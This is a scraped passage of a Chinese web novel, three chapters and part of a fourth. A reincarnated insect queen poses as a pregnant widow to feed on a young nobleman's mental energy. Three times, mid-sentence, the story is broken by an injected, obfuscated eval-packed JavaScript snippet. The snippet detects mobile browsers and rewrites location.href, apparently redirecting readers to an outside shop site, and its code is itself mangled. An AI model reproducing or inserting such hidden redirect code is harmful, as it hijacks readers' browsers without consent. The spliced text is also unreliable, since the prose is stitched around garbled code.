《古早生怀流,但男主来》 1. 1 人在虫族,刚出生,就被当下的虫母追杀了五个月。 兰乌靠在冰冷的陨石背面,感受着灵魂深处传来的、因能量过度透支而产生的细微战栗。说不想复仇都是假的。每一个在荒原中漂泊、躲避着无处不在的精神搜索网的日夜,都将这份恨意淬炼得更加冰冷坚硬。 她抬起手,看着自己苍白到近乎透明的指尖。这具新生的雌虫身体美丽非凡,却也虚弱不堪,尤其是那微微隆起的小腹,正持续不断地汲取着她本就不多的生命能量。 很好。她心想。这倒省了她伪装的功夫。 在大约一年前,兰乌穿越了。 穿成了虫族社会的一只普通幼虫——也许没那么普通。 虫族总是很能生,速生速死是他们的策略,一个虫群里大部分都是强壮却没有繁殖能力的亚雌。而兰乌生来就在特殊的孵化室里,那儿专门用来培育真正的雄虫和雌虫,需要更多的养分,更长的时间才能破茧而出。 在她还是幼虫的时候,便已经有了自己的意识。 她花了很久接受自己转生成了虫族。 虽然根本接受不了。 周边的家伙都孵化了,甚至已经开始照顾她了,她却还是蜷缩在自己的腔室里,连睁眼看一下自己都不愿意——要是看见自己变成飞天大蟑螂她真的会原地自杀。 在穿越后的第六个月,她不情不愿地在周围雄虫的哺育下,孵化完成了。 彼时所有的兄弟姐妹都已经出生,大部分是亚雌,一小半是雄虫。 她是最后、最虚弱的那个。 也是唯一的……真正的雌虫。 大概是不想当虫子的执念很强烈,兰乌出生的时候就很接近她穿越前的模样了,几乎就是人形,只有小臂上有些许墨绿的外骨骼,还有尖锐细小的骨刺。她能感觉到自己头顶是有触角的,这对于心理还算是人类的兰乌来说十分奇妙,触角捕捉着空气中的信息素,她能感觉到周围雄虫们的情绪。 但还没等她像雄虫们询问更多的事,她忽然感受到一阵狂暴的、令人颤栗的信息素。 不仅是她,当场所有的同类都感受到了,纷纷脸色一变。 无需多言,生来的本能让兰乌知道,这是他们所有人的女王,她这具身体的……母亲。 女王是唯一的统治者。 所有孩子都为了她的意志而付出。 而现在,女王在愤怒于兰乌的出生。 她抗拒这个社会有新的雌虫——新雌虫的诞生往往隐含着整个社会的期望。虫族的社会,所有的生命遵循一个意志,不论是什么工种,都依赖着女王,集体大于一切。他们需要王,可当王的生命力走到尽头,便自然而然地需要新的接替者。 新王的诞生,便是旧王死亡的丧钟。 很显然,现在的王拒绝。 当然了,换作兰乌,她也会想要扒在王位上,退位可没有养老的选项。但她现在的地位是脆弱的新生者,旧王好像也没老到能被她嘎嘣一脚踢死的情况。 如果在她出生时,给她更多的时间考虑,她说不定就直接选择远走他乡了。 毕竟她还保留着一些上辈子当人的意识,没那么想当虫子的王。 可现在她已经被追杀了五个月! 呵呵,她若是不回去篡位,她就把自己的触角拔下来吃了。 …… 疲惫是浸入骨髓的毒药。 宽大的黑色连衣裙像一口麻袋罩在她伶仃的身躯上,唯有那微微隆起的小腹,勾勒出一个不容忽视的弧度。 那是她作为新生虫母构筑的拟态孕囊。 有一说一,兰乌也是第一次有这种体验。 但她太需要绝对忠诚的士兵了,或许是虫族的本能在作祟,先生两只出来帮忙打下手总是好的。 货运船的广播夹杂着噪音:“……‘星刃’军校本届特招即将截止……洛希尔家族继承人……” 洛希尔。一个在人类联邦声名显赫的姓氏。 兰乌压下所有翻腾的情绪,拉紧破旧的黑色披肩,蜷缩在角落。 目标很快出现在视野尽头。 穿着精致白色礼服的年轻男子如同聚光灯下的焦点,灿烂的金发,碧蓝如晴空的眼眸,俊美的面容带着一丝被延误行程的不耐。他身边跟随着气息沉稳的随从,领扣上洛希尔家族的徽章闪烁着低调而尊贵的光泽。 上一艘轮渡因虫族的突然袭击而毁坏。 这里许久没有发生过这样严重的灾乱,人心惶惶了几日,原本要通过轮渡去往恩戴之城的人都被迫留了下来。 其中就包括洛希尔家的少爷。 军校报名在即,原先定好的船却无法出行,只能被迫乘坐糟糕的货运船,和三教九流挤在一起。 货船的码头混乱不堪,少爷脸上的不耐愈发明显。 兰乌听见有人低声吐槽:“那些虫子怎么会突然袭击这里……像是在疯狂寻找什么一样,码头都被拆了。” 她低下头,看着自己的指尖,心想为什么呢? 真是完全不知道呢。 …… 少爷的脚步一顿。 在码头喧嚣浑浊的背景里,一袭纯黑的长裙缩在角落,像是一道突兀而尖锐的静默。风扬起的长裙她过分伶仃的身形严严包裹,只余下苍白得近乎透明的侧脸和纤细脖颈。 也勾勒出小腹那隆起的弧度。 这是一位,年轻的孕妇。 她孤立在泊位边缘,背对着往来搬运的工人和轰鸣的吊车。纤薄的肩胛骨在黑衣下微微凸起,整个人呈现出一种向内蜷缩的姿态。 眼神空洞,像蒙着一层永远散不去的薄雾。 只是单单看上一眼,就足够让人感觉到那身形里爆发的、巨大的哀戚。 出于某种礼节,阿尔文·洛希尔停下了脚步,温声询问:“这位女士,有什么需要帮助的吗?此处风大,不宜久留。” 兰乌努力维持眼神散焦的状态。 她抚上小腹,木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746984|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然道:“我丈夫,被虫族杀了。” 阿尔文·洛希尔和他身后的人均是一静。 不远处,就是另一个被摧毁的码头。 “我……”兰乌实在是有点演不下去,她忽得捂唇,爆发出一阵悲戚的呛咳,再抬起头时,眼尾也揉红了,“我该怎么办……我、我还有一些积蓄……先生,你知道如何雇佣战士吗?” “我必须复仇。复仇、是的……我要复仇!”她几乎语无伦次。 一件温暖外套披上来。 阿尔文神色不忍,主动道:“去更暖和的地方聊吧。” 轻而易举地上了船。 连船票都不需要,兰乌就这样被带上了阿尔文·洛希尔要求的房间。 虽然还是达不到少爷的标准,但已经是这艘船上最舒服的房间了。 仆从迅速地铺了地毯。 兰乌踩在上面,真情实感地松了口气。 贵族的人窝真是舒适。她觉得自己以后也得有这样的虫窝。 也许是骤然放松,又也许是孕育的孕囊,她竟觉得有些晕眩,一个不注意,跌了一下。 手臂被一只有力的手稳稳扶住。触碰的瞬间,她能感觉到对方手指的温热与良好的控制力,没有过分贴近,却提供了坚实的支撑。 阿尔文·洛希尔蹙眉看着她:“还好吗?” “谢……谢谢您……”她像受惊的小动物般迅速抽回手,声音轻弱,“对不起,真给您添麻烦了……少爷。” “不必向其他人一样称呼我为少爷。”这位从上船到进房间都是少爷做派的人,这会儿却一副体察民情的样子,“叫我阿尔文就好。” 兰乌:“阿尔文先生。” 她低垂着头,露出纤细脆弱的脖颈, 双手捧着热茶,将自己丈夫因袭击死亡、想要替他报仇的事重新说了一遍。末了,她哀伤地看着小腹:“我已经没了一切,只有孩子……” “我是阿尔文·洛希尔。”少爷很快做出决定,语气带着不容置疑的沉稳,“这艘穿正前往恩戴要塞,最终目的地是星刃,如果你不介意,可以同行。我会确保你的安全。” “真……真的可以吗?阿尔文先生……”她怯生生地答应下来,“我叫兰乌。真没想到,您是洛希尔家的……” 提到洛希尔,阿尔文微微昂起头,又轻轻皱眉:“这不重要。哪怕我只是一个无名小卒,也应该向你伸出援手。” 兰乌笑了笑。 那股晕眩和饥饿感再次涌上。才吃过点心,身体却仍在疯狂叫嚣。她出生前接受雄虫的精神力哺育,那时抗拒,没吃饱。逃亡数月,腹中的孕囊更是急需滋养。 现在,可没有雄虫的无私奉献了。 她的目光落在正认真看书的阿尔文身上,感受着他那蓬勃而未经驯服的精神力。 一个念头,如同黑暗中滋生的藤蔓,悄然缠绕上来。 她做出了一个违背祖宗的决定。 人类……能吃吗? 2. 2 阿尔文的房间隔音极好,厚重的门一关,便将码头的喧嚣与货运船的嘈杂彻底隔绝。地毯柔软,空气里弥漫着淡淡的、属于阿尔文身上的雪松香气。 兰乌捧着那杯已经微凉的热茶,蜷在柔软的扶手椅里,像一只终于找到临时巢穴的、疲惫的黑色幼猫。 阿尔文在她对面坐下,重新拿起那本厚厚的、似乎是军校备考资料的书籍,神情专注。他似乎完全将她当成了一个需要静养的、受惊的未亡人,体贴地保持着沉默,给予她空间。 然而,兰乌的体内,那股源自本能的饥饿感,却在静谧中愈发清晰、尖锐。那不是胃囊的空虚,而是源于精神核心深处,以及腹中那拟态孕囊的、对某种特定能量的渴求。 阿尔文·洛希尔坐在那里,他蓬勃、强大,却又因备考压力和潜在隐疾而带着一丝不易察觉躁动不安的精神力,在她敏锐的感知中,就像一团温暖、明亮,却不断跳跃闪烁的火焰。 诱惑。 这饭在诱惑我。 兰乌低垂着眼睫,绿色的眼眸在阴影下幽深得像古井。她需要一个确切的答案——人类的强大精神力,是否能被虫母汲取、转化,成为她和她未来子嗣的养料? 她需要一次……小小的测试。 意念微动,如同最灵巧的手指,拨动了琴弦。她将自己一丝极其细微、几乎无法察觉的精神力,凝聚成一根无形的“针”,带着一丝属于虫族精神网络的、混乱而极具侵染性的气息,精准地、轻轻地“刺”入了阿尔文那看似坚固、实则因疲惫而稍显薄弱的精神壁垒缝隙。 饭饭饭饭!让她吃一口饭! 几乎是同时—— “唔!” 阿尔文发出一声压抑的痛哼,手中的书籍“啪”地掉落在膝盖上。他猛地抬手捂住了额头,指关节瞬间用力到泛白。那双碧蓝如晴空的眼眸骤然收缩,里面充满了猝不及防的痛苦与混乱。 这……分明是精神力暴走的前兆。 众所周知,人类战士人均拥有强大的精神力,大部分虫族却没有。因此在单兵作战上,虫族往往被人类碾压。 然而虫族军团的指挥者个顶个的全是s级以上精神力,利用直接没有破解的虫族精神网络,能在团队作战中发挥极强的作用。 而人类这边,却常常因为精神力受损后无法修复,日积月累,痛苦的同时,还可能发生危险的精神力暴走。 这至今是无解的命题,只能依靠少数的治愈系能力者安抚。 作为洛希尔家的少爷,阿尔文自然不缺治愈者的帮助。但或许是因为极强的天资,他的精神力一日比一日强大,哪怕平日里小心翼翼,还是逐渐走向身体无法承受的范围。 进入星刃、利用军方的技术治疗,也是他此行的目的之一。 熟悉的、如同冰针扎入大脑的剧痛再次袭来,比以往任何一次都要猛烈、迅速。狂暴的精神力在他体内横冲直撞,撕扯着他的理智,眼前甚至开始闪现混乱的光斑和扭曲的虚影。他感觉自己像一艘在暴风雨中即将解体的船,失控地冲向黑暗的深渊。 “阿尔文先生!”兰乌惊呼一声,声音里带着恰到好处的惊慌与担忧。 她有点没绷住。 只是想要偷吃一口饭,阿尔文的反应就像是上辈子的她见了大蟑螂一样,整个精神力都狂暴起来。 饭还没吃上两口呢,饭碗就自己站起来把米粒全吐地上了。 兰乌也是有点无奈,相比于随便索取的雄虫,吃点人类饭未免过于麻烦。 她站起身,快速走到他身边,没有丝毫犹豫,冰凉细腻的手直接覆上了他紧捂额头的手背。这一次,不再是之前码头那次短暂、不经意的触碰。 她主动调动起属于虫母的、最本源的那一丝安抚与链接的力量。 不再是涓涓细流,而像是一道温暖、磅礴的生命之泉,从两人肌肤相触的地方,汹涌地涌入阿尔文狂暴混乱的精神图景。那力量带着一种不容置疑的、近乎法则般的秩序感,所过之处,狂暴的精神乱流如同被无形的大手温柔抚平,扭曲的光影被重新梳理归位,尖锐的刺痛被极致的舒适所取代。 治愈和安抚,简直是虫母的本能。 ……! 阿尔文浑身剧烈地一颤,几乎是瞬间就松开了紧捂额头的手,反手一把抓住了兰乌的手腕,力道之大,让兰乌微微蹙眉。 但他并非要伤害她。 他像是溺水之人抓住了唯一的浮木,冰蓝色的眼眸死死地盯着兰乌,里面充满了极致的震撼、劫后余生的茫然,以及一种……迅速升腾、无法控制的、近乎贪婪的痴迷。 太……太美妙了。 不仅仅是痛苦的消失。这是一种他从未想象过的、灵魂层面的极致享受。仿佛他干涸龟裂的精神世界,瞬间被一场温润的甘霖彻底浸润、滋养,每一个角落都充满了蓬勃的生机与难以言喻的安宁。比最顶级的麻醉剂更令人沉醉,比一切他所知的快乐更触及本源。 他抓着她的手腕,感受着那源源不断传来的、令他灵魂都为之战栗的舒适感,几乎舍不得呼吸,生怕惊扰了这奇迹般的瞬间。 兰乌任由他抓着,脸上依旧是那副柔弱又担忧的神情:“您好些了吗?阿尔文先生,您刚才的样子很吓人……” 她的声音将他从极致的沉浸中稍稍拉回。 还有点小紧张:“我、我也有精神力,以前帮老公梳理过。刚才事态紧急,冒犯了……” 阿尔文猛地回过神,意识到自己失态地紧抓着一位寡妇的手腕,耳根瞬间染上一抹薄红,立刻松开了手,但目光却依旧胶着在她脸上,声音带着剧烈情绪波动后的沙哑:“我……我没事了。谢谢你,兰乌夫人。” 他顿了顿,冰蓝色的眼眸深处,那份震撼与探究几乎要满溢出来:“你……你是怎么做到的?我的精神力暴走,连家族专用的治愈师都……” 兰乌适时地露出几分恰到好处的疲惫与茫然,轻轻抽回手,身体微微摇晃了一下,仿佛消耗巨大:“我、我不知道……只是感觉您很痛苦,就想试着……让您舒服一点。这很奇怪吗?” 她微微喘息着,苍白脸色泛起一抹受惊的红晕,看上去脆弱得下一秒就会晕倒。 ——吃爽了吃爽了!精神力链接后,梳理的同时她捕捉了不少精神力。 进食的快乐填满了大脑,电流一般的酥麻窜过脊髓,汇聚在小腹。她微眯着眼,踮着脚,小腿绷得笔直,爽到想要露出虫族的本体,晃着小触角,用手臂的锯齿将猎物彻底拢入怀中,一一切割……虽然她的理智还是占据了上风。 吃得整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746985|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都暖和起来了。 甚至想打个嗝儿。 克制自己的进食真是一件痛苦的事儿。兰乌想着。 阿尔文看着她这副模样,心头那点探究瞬间被汹涌的怜惜与一种更复杂的情绪压了下去。他怎么能质疑她? 她为了安抚他,看起来耗尽了力气。 一个第一次见面的寡妇,明明自己还沉浸在悲伤之中,却愿意用自己的精神力救助他……甚至她还怀着孩子,那么脆弱的状态。 “不,不奇怪。”他连忙起身,想扶她又碍于礼节,动作显得有些无措,“是你帮了我。前所未有地……好。”最后两个字,他说得极轻,却带着沉甸甸的分量。 那种极致的舒适感还在精神图景中回荡,如同最甜美的余韵,让人有些茫然。 他的视线追随着兰乌。 兰乌在他的坚持下,重新坐回椅子,接过他重新倒的热水,小口啜饮着。 成功了。 不仅确认了人类精神力可以作为养料,而且……效果出乎意料地好。阿尔文·洛希尔的精神力质量很高,吃起来美味极了——她找到了一条绝佳的、可持续的“进食”途径。 她轻轻抚上微隆的小腹,感受着那因为汲取了阿尔文一丝精纯精神力而传来的、微弱却真实的满足感。 饥饿感,暂时缓解了。 阿尔文坐在对面,目光却无法再从她身上移开。她低眉顺目的样子,她苍白的脸,她纤细的手指……尤其是,她身上那种能带给他极致宁静的神秘力量。 又像是忽得醒来,强迫自己移开视线。 兰乌的精神力撤走之后,像是身体里少了一块儿那样,空空荡荡的。 以至于有些不安。 “我……”他话音刚起,又咽了回去,“兰乌夫人,你的精神力很特别,这样强大的治愈能力,我从未见过。这是非常珍贵的能力。” “我可以……再确认一次吗?” 兰乌有点吃惊地看着他。 阿尔文对上她的视线,竟有些莫名心虚:“只是确认,治愈系能力是全人类的珍宝,作为洛希尔家族的继承者,我有义务保护你,还有你的孩子。” 通常来说,治愈系都会被军方请去。 阿尔文垂下眼:“若是你不想在他人面前暴露自己的能力,洛希尔家族也完全可以庇护。” 他说着,大脑里又回忆起兰乌用精神力安抚他的时候。 说多了口干舌燥的,他有些焦躁地拿起茶杯,喝了口水。 抬起眼时,仍然是注视着兰乌。 兰乌完全没想到对方主动想要被她吃上几口。 她思索着,面上却仍然维持着山茶花般的柔弱:“阿尔文先生,您帮了我,我相信你。” 又蹙着眉担忧道:“您看起来很不安,是不是精神力仍在狂暴?” 她说话又轻又慢,每个字都如此漫长。房间里的暖炉烤热了空气,兰乌脸色逐渐红润起来,房间里也好似若有若无地蔓开一阵兰花香,铺天盖地,密不透风。笼得人每个毛孔都像是喘不过气。 “我想再确认一下,您现在需要我的精神力吗?” 她伸出手。 “嗯、嗯……”阿尔文下意识前倾了身体,呼吸一重,混乱应答了声,“是的。” 3. 3 兰乌伸出的手,纤细、苍白,带着一种易碎的优雅,停在两人之间的空气里。 阿尔文的呼吸在她伸出手的瞬间便是一重。那双冰蓝色的眼眸里,挣扎与渴望激烈交战。 梳理他人的精神,是一种极为耗费体力的劳动。 理智告诉他,这样频繁地索求一位刚遭遇不幸、身体虚弱的“遗孀”的帮助,是不得体甚至卑劣的。但精神图景中那残留的空荡感,以及对于再次体验那极致安宁的贪婪渴望,像无数细小的钩子,拉扯着他的意志。 “是的。”他终于彻底承认,声音沙哑,带着一丝难以启齿的羞惭,“它……并未完全平静。” “我恐怕,需要你……帮助。” 他几乎是迫不及待地,将自己的额头,轻轻抵上了兰乌微凉的掌心。 这一次,兰乌有了更充分的准备。她像一位技艺精湛的窃贼,不再满足于上次慌乱中囫囵吞下的“一口饭”。她的精神力化作无数比发丝更纤细的触须,温柔而坚定地探入阿尔文的精神壁垒,不再是粗暴的抚平,而是更精细的梳理与……汲取。 阿尔文发出一声极其压抑的、近乎叹息的声音,紧绷的身体肉眼可见地松弛下来,甚至微微向前倾,仿佛想要离那舒适的源泉更近一些。他闭着眼,浓密的金色睫毛轻轻颤动,完全沉浸在那被温暖力量包裹、滋养的美妙感觉中,忘记了身处的环境,忘记了所有的礼节。 啊…… 兰乌内心喟叹。这一次的“进食”更为从容,阿尔文的精神力如同甘醇的美酒,细细品味之下,竟有一丝冷冽的松木香气。那股暖流汇入她的核心,滋养着虚弱的身体和空虚的孕囊,让她几乎想要出声。她小心控制着汲取的速度和量,确保不伤及根本,同时维持着脸上那副专注而略带疲惫的“治愈”表情。 “可、可以吗?”她气喘吁吁,俨然一副体力透支的样子。 精神力的链接却仍然继续,没有中断。 丝丝缕缕的、堪称强势地捕捉着男人的全部。 阿尔文恍惚起来。精神图景被一个第一天认识的寡妇彻底探索,他已经将自己彻底暴露在陌生人面前,毫无保留,一丝.不挂。 细密的汗恐怕已经将贴身的衣物浸湿,精神力的活跃影响着感知,他觉得自己的五感前所未有的敏锐,连衣物带来的微小刺激都能清晰感受。 兰乌的手指贴在他的额头,微凉的手指。 她的心跳、她的呼吸。 她身上那隐隐散发的兰花香气。 精神力的梳理技巧是如此熟练。阿尔文不免去想:她以前经常给自己的丈夫这样做吗? …… 兰乌是真吃爽了。 阿尔文的精神力如同最上等的陈酿,比她品尝过的任何雄虫的都要醇厚、甘美。这一次,她无需分心安抚,丰厚的精神海洋近乎虔诚地敞开着,任由她的精神触须深入、缠绕、汲取。 起初是细流,然后是温暖的潮汐,最终变成了汹涌的洪流。 太……太多了…… 极致的愉悦感不再是细微的电流,而是化作滔天巨浪,一遍遍冲刷着她的神经末梢。脊髓传来过载般的酥麻,让她放在阿尔文额间的手指微微痉挛。 她感觉自己的意识像是被泡在了一汪温暖、粘稠的蜜糖里,正在缓慢地下沉。周围的一切声音都变得遥远,阿尔文压抑的喘息,窗外货运船引擎的嗡鸣,都隔着一层厚厚的、柔软的壁垒。 一种饱胀的、懒洋洋的幸福感充斥着她。 这感觉……真奇怪。 像是上辈子作为人类时,在寒冬的清晨喝了过量的、甜腻的热可可,又像是在一个阳光过于灿烂的午后,躺在草地上被晒得头晕目眩。思维变得迟滞,念头如同裹上了糖浆,转动得异常缓慢。 她甚至无意识地,用指尖在他额角的发际线处,极其轻微地蹭了蹭。让完全沉浸在被安抚中的阿尔文浑身一颤,发出一声更深的、近乎呜咽的喟叹。 兰乌感觉自己快要“醉”了。 精神力汲取过度带来的、意识层面的醺然。她的小腹传来清晰的、饱足的暖意,那拟态孕囊仿佛在发出满足的叹息。全身的骨头都像是被抽走了,软绵绵的,使不上力气,只想就这么一直“吃”下去,沉溺在这无边的舒适里。 她甚至忘了维持那副“消耗过度”的虚弱假面,苍白的脸颊染上了真实的、如同醉酒般的绯红,半阖的绿眸里水光潋滟,迷离失焦,像是蒙上了一层星尘。 她觉得自己的精神前所未有的健康、枯竭的生命力重新被唤醒。 身体上却失了力量。 她低呼一声,软软地跌坐下去, 她没有摔倒。预想中与冰冷地面的碰撞并未发生。 一只有力的手臂瞬间捞住了她,以一种极其克制却又稳固的力道,将她稳稳地托住。宽大的手掌贴住她的腰,属于阿尔文·洛希尔的温度,透过单薄的黑裙传来。 “小心!”阿尔文的声音带着一丝不易察觉的紧张。他的动作迅捷而标准,完全是受过良好训练的绅士做派,扶住她的同时,身体还微微侧开,避免了过分的贴近,手掌更是小心翼翼地避开了她微隆小腹的正后方,只稳稳地托住她的腰侧。 但事发突然,兰乌的身体顺着重力沉下去,还是坐在了他的腿上。脆弱的小腹虽说没有撞到他,却也几乎挨了上来。 体温穿透了单薄简陋的裙摆。 他看见兰乌皱眉,就像是嫌弃他的衣装太硬、蹭疼了她。 “谢……谢谢您,阿尔文先生。”她声音细弱而游离,眉尖耸起,眼尾却微微耷拉着,给她添了几分餍足的呆滞。 吃得实在太撑了。 胃都有点顶住了。 阿尔文并没有立刻松开她,而是确认她没事后,才极其绅士地收回手,但那担忧的目光向下探去,看向她的小腹。 “您没事吧?有没有扭到?或者……有没有感到任何不适?”他连声询问,冰蓝色的眼眸里是毫不作伪的关切,那份小心翼翼,几乎像是在对待一件稀世的易碎品。“需要我叫随行的医生来看看吗?哪怕是轻微的震动,对您现在的状况也可能……” “不,不用了。”兰乌迅速打断他,她可不想让多余的人类医生靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746986|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近自己。她抬起苍白的脸,努力挤出一个感激又带着点后怕的微笑,“我没事,只是吓了一跳。多亏了您……真的非常感激。” “我只是……也许是精神力使用过度,我好像有些失了力气。” 她微微侧身,一只手挤进他们两人中间、保护性地抚上自己的小腹。 阿尔文的眼神更加柔软。 “请您务必更加小心。”又有些羞恼,“我的精神力已经彻底平稳,可我……好像也没力气了。” 兰乌仍坐在他大腿上。 兰乌:“……”其实她吃了挺多精神力的,但看着阿尔文的样子,感觉他好像除了感到虚弱,还挺容光焕发。 她索性伸手按住对方的肩膀,自己抬腰站起来。 “阿尔文!” 房间门被毫无预兆地推开,一个带着明显不悦和倨傲的年轻男声打破了室内的宁静。 门口站着一位衣着华贵、身形高挑的青年,同样是金色的头发,但他的颜色更浅,近乎铂金,梳理得一丝不苟。他有着一双锐利的灰蓝色眼眸,此刻正带着毫不掩饰的惊愕与审视,落在房间内几乎是额头相抵的两人身上。 他的目光先是震惊于阿尔文那前所未见的、全然放松甚至带着依赖的姿态,随即猛地刺向兰乌,尤其是在她那只贴着阿尔文额头的手上停留。 可很快,他看向了女子隆起的小腹,以及她撑着阿尔文肩膀,自己抬腰起身的画面。 “我似乎来得不巧了。”凯斯的神情几度变换,最后停留在冷冷的嘲讽上。 “大少爷,我还想问你为什么忽然大发善心救起人来了,原来是……啧。” “凯斯·冯·海因里希!”阿尔文站起身,语气带着罕见的严厉,他将兰乌护在身后,挡住了凯斯那极具侵略性的目光,“注意你的言辞!兰乌夫人是我的客人,她刚刚帮了我!” “帮你?”凯斯像是听到了什么笑话,灰蓝色的眼眸里讥讽更甚,“用她那‘独特’的方式?我倒是不知道,什么时候帮助需要靠得如此……近了。”他刻意拉长了语调,暗示意味十足。 阿尔文脸色更红,既是气的,也是羞的:“你根本什么都不知道!兰乌夫人她……” 兰乌抓住他的手,同他对上眼神。 电光火石间,阿尔文理解了她的意思,他急忙保证,“先前的承诺有效,我会保护你,绝不会让任何人伤害你,我以洛希尔家族的名誉起誓。” 他话音未落,兰乌却只是闭了闭眼,流露出些许认命般的哀伤:“我有治愈精神损伤、顺理精神力的能力。阿尔文先生方才精神力暴走了,这很危险,我在帮他。” 她坦白了。阿尔文呆呆地想。她知道这样的回答会给她带来怎样的命运吗?也许她知道,但她为了自己的清白、为了他的尊严,还是说了。 凯斯:“……哦?” 兰乌摸着肚子,努力压着饱嗝。墨绿的眼眸里闪烁着水色,她小心翼翼地看向新来的铂金色饭碗,多少有点吃着碗里的、念着锅里的: “阿尔文先生已经确认过我的能力,你也要……确认一遍吗?” 4. 4 兰乌能感知到,这个叫凯斯的人类,也有丰沛的精神力。 她挺想尝尝看的。 然而,正如饥荒中的人不能一下子吃太多,她似乎也遇到了这个问题。 那原本甘醇如雪松陈酿的精神力,在过度涌入后,骤然在她体内变得滚烫、暴烈。它不再是被驯服的暖流,而是失控的野火,饱胀感在瞬间转化为尖锐的绞痛,仿佛有无数烧红的钢针,同时在她精神核心与拟态孕囊中疯狂穿刺、搅动。 “呃——!” 一声完全无法压抑的、带着撕裂般痛楚的短促哀鸣,从兰乌喉间迸出。她猛地蜷缩起来,像一只被无形之手狠狠攥住的虾米。冷汗瞬间涌出,浸透了她额前的黑发和单薄的黑裙,让她整个人像是刚从冰水里捞出来,却又在承受着内里的灼烧。 阿尔文猛得起身。 方才还温柔给予他宁静的“治愈师”,此刻正痛苦地痉挛着,那张苍□□致的脸因剧痛而扭曲,绿眸涣散失焦,仿佛正在被某种无形的力量从内部撕碎。 “兰乌夫人!”阿尔文的声音带着他自己都未察觉的恐慌和颤抖,他下意识地想抱住她,却又不敢用力,生怕加剧她的痛苦,“你怎么了?告诉我哪里不舒服?!” “没……没事……”兰乌试图挤出一句话,却被又一阵更剧烈的绞痛打断,只能发出破碎的气音,“只是……累……脱力……”她浑身冰冷,唯有被他触碰到的皮肤传来不正常的灼热。 动了胎气!一定是这样!因为她不惜代价地拯救他,过度消耗,以至于伤及了她自身和脆弱的孩子! 这个认知像一把重锤,敲碎了阿尔文所有的旖旎和舒适感,只剩下排山倒海的愧疚与心如刀绞的担忧。 “别说了!都是我不好!”他再也顾不得什么礼仪,将她打横抱起。怀中轻盈的身体冰冷而汗湿,细微的颤抖如同濒死的蝴蝶,让他手臂的肌肉都为之绷紧。他像捧着一件即将碎裂的稀世珍宝,以一种近乎冲锋的速度冲出房间,对着闻声而来的随从厉声吼叫,完全失了平日里的从容:“船医!立刻把船医找来!快——” 兰乌闭上眼装死。 其实有没有一种可能,她这是……消化不良肠胃炎? 可恶,好丢人的。 …… 医疗室内,消毒水的气味弥漫。 船医在经过仔细检查后,得出的结论与阿尔文的猜想吻合:“夫人这是精神力消耗过度,远超自身负荷,引发了身体机能的严重紊乱。需要绝对静养,不能再动用丝毫精神力。” “她的精神力几乎耗空了。” 他顿了顿,目光扫过兰乌微隆的小腹,语气更加凝重:“尤其是孕期,母体与胎儿的精神链接紧密,如此透支,极易导致不可逆的损伤,甚至……流产。万幸这次只是剧烈疼痛,务必引以为戒。” 每一个字都像鞭子抽在阿尔文心上。他站在床边,看着兰乌即使在药物作用下昏睡过去,眉宇间仍凝聚着化不开的痛苦痕迹,内心被滔天的自责淹没。她为了他,几乎赌上了自己和“孩子”的性命。 “啧,真难看。” 一个慵懒而带着十足嘲弄的声音,像冰冷的石子投入凝重的空气。 凯斯·冯·海因里希不知何时倚在了门框上,铂金色的发丝在灯光下泛着冷调的光泽。他双手环胸,灰蓝色的眼眸先是漫不经心地扫过阿尔文那副失魂落魄、眼泛红丝的狼狈模样,然后才落到床上昏睡的兰乌身上,嘴角勾起一抹毫不掩饰的讥诮弧度。 “我们洛希尔家未来的顶梁柱,什么时候堕落成别人的贴身男仆兼焦虑症患者了?”他语调轻飘飘,用词却极其刻薄。 阿尔文深吸一口气,强行压下翻涌的情绪,示意他到外面说话。 走廊上,压抑的怒火在阿尔文胸中燃烧:“凯斯!她刚经历了一场劫难!你就不能有一点基本的同情心吗?” “同情心?”凯斯像是听到了什么天大的笑话,他松开抱着的双臂,夸张地摊了摊手,“阿尔文,睁开你那被‘感激’糊住的眼睛看清楚!一个你随便捡到的女人,‘恰好’在你精神力濒临暴走能治愈你,‘恰好’拥有能精准抚平你暴走能力的神秘寡妇,现在又‘恰好’因为‘救你’而虚弱垂危,成功激起了你无限的愧疚和保护欲——这一连串的‘恰好’,串联起来不就是最经典的钓鱼剧本吗?” 他凑近阿尔文,灰蓝色的眼眸锐利如针,声音压低却更具穿透力:“还是说,我们英明神武的洛希尔继承人,其实骨子里就吃‘病弱美人为你牺牲’这一套,心甘情愿往陷阱里跳?” “喜欢孕期少妇?” “凯斯·冯·海因里希!”阿尔文低吼出声,额角青筋跳动,“你这是在侮辱她,也是在侮辱我!她付出的代价是真实的!痛苦是真实的!” 